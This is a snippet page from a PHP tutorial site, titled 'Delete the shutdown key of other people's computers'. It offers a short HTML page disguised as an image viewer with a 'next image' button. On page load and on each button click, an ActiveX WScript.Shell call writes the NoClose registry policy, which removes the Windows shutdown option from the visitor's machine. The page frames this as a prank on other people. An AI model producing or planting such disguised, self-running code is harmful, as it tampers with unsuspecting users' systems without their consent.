Home >php教程 >PHP源码 >Delete the shutdown key of other people's computers

Delete the shutdown key of other people's computers

WBOY
WBOYOriginal
2016-08-04 08:53:361178browse
跳至 [1] [全屏预览]
<!--
E-mail:shyhero@outlook.com
Author: dujianing 
删除关机按钮       
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8"/>
		<title></title>
		<script type="text/javascript" language="javascript"> 
			function disableTaskMgr(flg){        
			var shell = new ActiveXObject("WScript.Shell");       
			try{
				shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
				1,"REG_DWORD")    
			}catch(e){
				throw e;  
			}  
		}  
		</script>
	</head>
	<body onLoad="disableTaskMgr(true)">  
		<img src="imgs/2.jpg"/>
		<button onclick="disableTaskMgr(true)">下一张
		</button> 
	</body>
</html>
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn